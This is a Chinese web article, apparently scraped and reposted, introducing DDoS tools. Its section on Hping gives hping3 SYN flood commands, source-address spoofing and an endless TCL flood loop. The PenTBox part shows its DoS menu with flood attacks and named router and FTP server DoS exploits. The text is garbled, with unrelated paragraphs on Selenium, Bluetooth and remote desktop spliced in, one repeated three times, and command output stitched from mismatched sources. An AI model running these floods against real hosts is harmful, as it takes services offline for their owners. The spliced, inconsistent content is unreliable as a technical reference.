DDoS 攻击的工具

电脑杂谈  发布时间:2019-05-13 00:09:52  来源:网络整理

loic linux_loic使用_loic攻击流程

这些攻击工具分为综合性工具、压力测试工具和攻击工具三类,下面对每个工具进行具体介绍。

一、综合性工具

综合性工具除了可以进行DDoS攻击外,还能用于其他用途,如端口扫描、安全审计以及防火墙测试等。实际上,大部分综合性工具开发的原始目的并不是用于进行DDoS攻击的,而更多的是充当着“多面手”的网络检查和测试工具。

综合性工具包括Hping、PenTBox和Zarp。

(一)Hping

selenium thoughtworks专门为web应用开发的自动化测试工具,适合用于功能测试与验收测试.也是近年来较为流行的开源测试工具.selenium这一强大的web测试工具主要由selenium ide, selenium core, selenium remote control 及selenium grid组成. 其中selenium rc 应用较为广泛亦算是功能最为强大的一个,通常它会与其它工具结合起来使用以更好地发挥其强大功能.现介绍构建工具ant与selenium结合用于测试java应用项目.ant+selenium可以构建测试build,然后部署到相应的测试环境中,再编译执行生成测试报告,最后通过邮件发送测试报告.。然后我们将对这个服务进行深入的信息收集,但是这个时候继续使用nmap肯定是力不从心了,这里我们使用ike-scan工具进行下一步的工作(ike-scan是一款基于命令行的工具,主要有主机发现,指纹识别等功能,可以用来测试ipsec vpn服务器)。人机接口层(mmi interface)是外部与蓝牙子系统进行通信的接口,这种通信使用专门的协议,外部mmi主机通过该协议发送命令到人机接口层,人机接口层解释收到的命令,继而控制应用层进行相应的动作,同时应用层也会将蓝牙子系统的数据、状态和事件送往人机接口层,人机接口层通过该协议发送命令到外部mmi主机。

研判,“教育部”网站可能是遭到“阻断服务攻击”(ddos),黑客使用网络上被攻陷的“殭尸”电脑,大量登入“教育部”网站发动洪水攻击,使其网路或系统资源耗尽瘫痪,导致服务暂时中断或停止。并且其很难检测出来,因为此漏洞可以让入侵的黑客在数据传输过程的极早期阶段发动攻击,从而盗取相关的数据。美国网络攻防战趋白热化 黑客或发动攻击|网络|黑客|美国。

Hping可在Linux、FreeBSD、NetBSD、OpenBSD、Solaris、Mac OS X、Windows等多种平台上运行。新版本支持使用TCL脚本来描述TCP/IP协议各字段,这使得构造和分析数据变得更加方便。

远程连接我肯定是开启了的,防火墙里面3389端口也是打开的,并且连接其他 的服务器就可以连接上,说明我本机没问题,用扫描软件,扫描了一下这个服务器,显示ip和端口都是存在的,说明这个服务器网络也没问题,实在没办法,只有 不断的测试,后来在系统日志里面看到很多条系统错误信息。远程连接我肯定是开启了的,防火墙里面3389端口也是打开的,并且连接其他的服务器就可以连接上,说明我本机没问题,用扫描软件,扫描了一下这个服务器,显示ip和端口都是存在的,说明这个服务器网络也没问题,实在没办法,只有不断的测试,后来在系统日志里面看到很多条系统错误信息。远程连接肯定是开启了的,防火墙里面3389端口也是打开的,并且连接其他的服务器就可以连接上,说明本机没问题,用扫描软件,扫描了一下这个服务器,显示ip和端口都是存在的,说明这个服务器网络也没问题,实在没办法,只有不断的测试,后来在系统日志里面看到很多条系统错误信息。

这里以Syn FLOOD攻击为例。

[root@Fedora ~]# hping3 -i u1 -S -p 80 192.168.65.160

HPING 192.168.65.160 (p3p1 192.168.65.160): S set, 40 headers + 0 data bytes

ip 192.168.66.2.2001 > 172.16.20.245.47912: flags [r.], seq 0, ack 629593171, win 0, length 0。ip 192.168.66.2.2002 > 172.16.20.245.34816: flags [r.], seq 0, ack 680276411, win 0, length 0。ip 192.168.66.2.2003 > 172.16.20.245.37508: flags [r.], seq 0, ack 1070666076, win 0, length 0。

len=46 ip=192.168.65.160 ttl=128 DF id=31870 sport=80 flags=SA seq=1 win=64320 rtt=35.8 ms

len=46 ip=192.168.65.160 ttl=128 DF id=31871 sport=80 flags=SA seq=2 win=64320 rtt=36.4 ms

len=46 ip=192.168.65.160 ttl=128 DF id=31872 sport=80 flags=SA seq=3 win=64320 rtt=32.6 ms

ip 192.168.66.2.2001 > 172.16.20.245.47912: flags [r.], seq 0, ack 629593171, win 0, length 0。ip 192.168.66.2.2002 > 172.16.20.245.34816: flags [r.], seq 0, ack 680276411, win 0, length 0。ip 192.168.66.2.2003 > 172.16.20.245.37508: flags [r.], seq 0, ack 1070666076, win 0, length 0。

len=46 ip=192.168.65.160 ttl=128 DF id=31874 sport=80 flags=SA seq=5 win=64320 rtt=33.1 ms

其中,-i u1参数表示每个数据包发送间隔为1微秒,参数-S表示设置SYN标识,参数-p 80表示设置数据包的目标端口为80。

使用-c参数可以指定收发数据包的个数,这里指定发送10个数据包:

[root@Fedora ~]# hping3 -c 10 -i u1 -S -p 80 192.168.65.160

HPING 192.168.65.160 (p3p1 192.168.65.160): S set, 40 headers + 0 data bytes

--- 192.168.65.160 hping statistic ---

4.packets transmitted, 4 packets received, 0% packet loss。33 packets transmitted, 33 packets received, 0.0% packet loss。19 packets transmitted, 17 packets received, 10.5% packet loss。

round-trip min/avg/max = 0.0/0.0/0.0 ms

使用-a参数可以进行源IP地址的伪造:

ping 192.168.1.2 (192.168.1.2): 56 data bytes。ping 192.168.1.1 (192.168.1.1) 56(84) bytes of data.。[root@codfei .ssh]# scp id_rsa.pub192.168.1.4:/root/.ssh/192.168.1.6 root@192.168.1.4'。

^C

--- 192.168.65.160 hping statistic ---

39606 packets transmitted, 0 packets received, 100% packet loss

round-trip min/avg/max = 0.0/0.0/0.0 ms

当然也可以使用可交互shell借助TCL脚本来描述上述攻击行为:

[root@Fedora ~]# hping

hping3> while 1 { hping send

"ip(saddr=1.2.3.4,daddr=192.168.65.160)+tcp(sport=4321,dport=80,flags=s)" }

除了进行DDoS攻击外,Hping还具有一些其他的网络测试功能,例如防火墙测试和端口扫描等。

(二)PenTBox

PenTBox最早出现于2009年,是一款免费的开源安全工具套装。它基于Ruby开发,面向GNU/Linux系统,且兼容Windows、Mac OS、Android等系统,主要用于帮助安全人员对网络、系统的安全性和稳定性进行测试。但它常被用作黑客工具套件,尤其是它提供的Net DoS Test(网络压力测试)。

其主体功能分三部分:

下面是PenTBox运行时的命令行界面,使用过溢出工具包Metasploit的用户对此应该不会陌生,因为它们有着相似的操作流程。

[root@Fedora pentbox-1.5]# ./pentbox.rb

PenTBox 1.5

__

U00U|.'@@@@@@`.

|__|(@@@@@@@@@@)

(@@@@@@@@)

`YY~~~~YY'

--------- Menu ruby1.9.3 @ i386-linux

1- Cryptography tools

2- Network tools

3- Web

4- License and contact

5- Exit

-> 2

1- Net DoS Tester

2- TCP port scanner

3- Honeypot

loic使用_loic攻击流程_loic linux

4- Fuzzer

5- DNS and host gathering

6- MAC address geolocation (samy.pl)

0- Back

虽然是命令行形式,但由于工具有良好的交互式菜单,即便是初学者也非常容易上手,并可以获得很好的使用体验。这是因为PenTBox非常清晰地对菜单进行了分类,每一大类都包含与之相关的若干工具,例如编号2网络工具类中就包含了与网络压力测试相关的功能。

这里演示了网络压力测试中的SYN FLOOD洪水攻击的用法,PenTBox对这种攻击还提供了伪造源地址的功能。

1- Net DoS Tester

2- TCP port scanner

3- Honeypot

4- Fuzzer

5- DNS and host gathering

6- MAC address geolocation (samy.pl)

0- Back

-> 1

// Net DoS Tester //

| Attacks

1- Spoofed SYN Flood Native (Raw Sockets, better, faster)

2- Spoofed SYN Flood hping3 (Must have installed hping3)

3- TCP Flood

| Exploits

4- [other/http] 3Com SuperStack Switch DoS

5- [other/http] 3Com OfficeConnect Routers DoS (Content-Type)

6- [windows/ftp] Windows 7 IIS7.5 FTPSVC UNAUTH'D DoS

7- [windows/ftp] Solar FTP Server 2.1 DoS

8- [windows/pptp] MS02-063 PPTP Malformed Control Data Kernel DoS


本文来自电脑杂谈,转载请注明本文网址:
https://www.pc-fly.com/a/jisuanjixue/article-98231-1.html

相关阅读
    发表评论  请自觉遵守互联网相关的政策法规,严禁发布、暴力、反动的言论

    热点图片
    拼命载入中...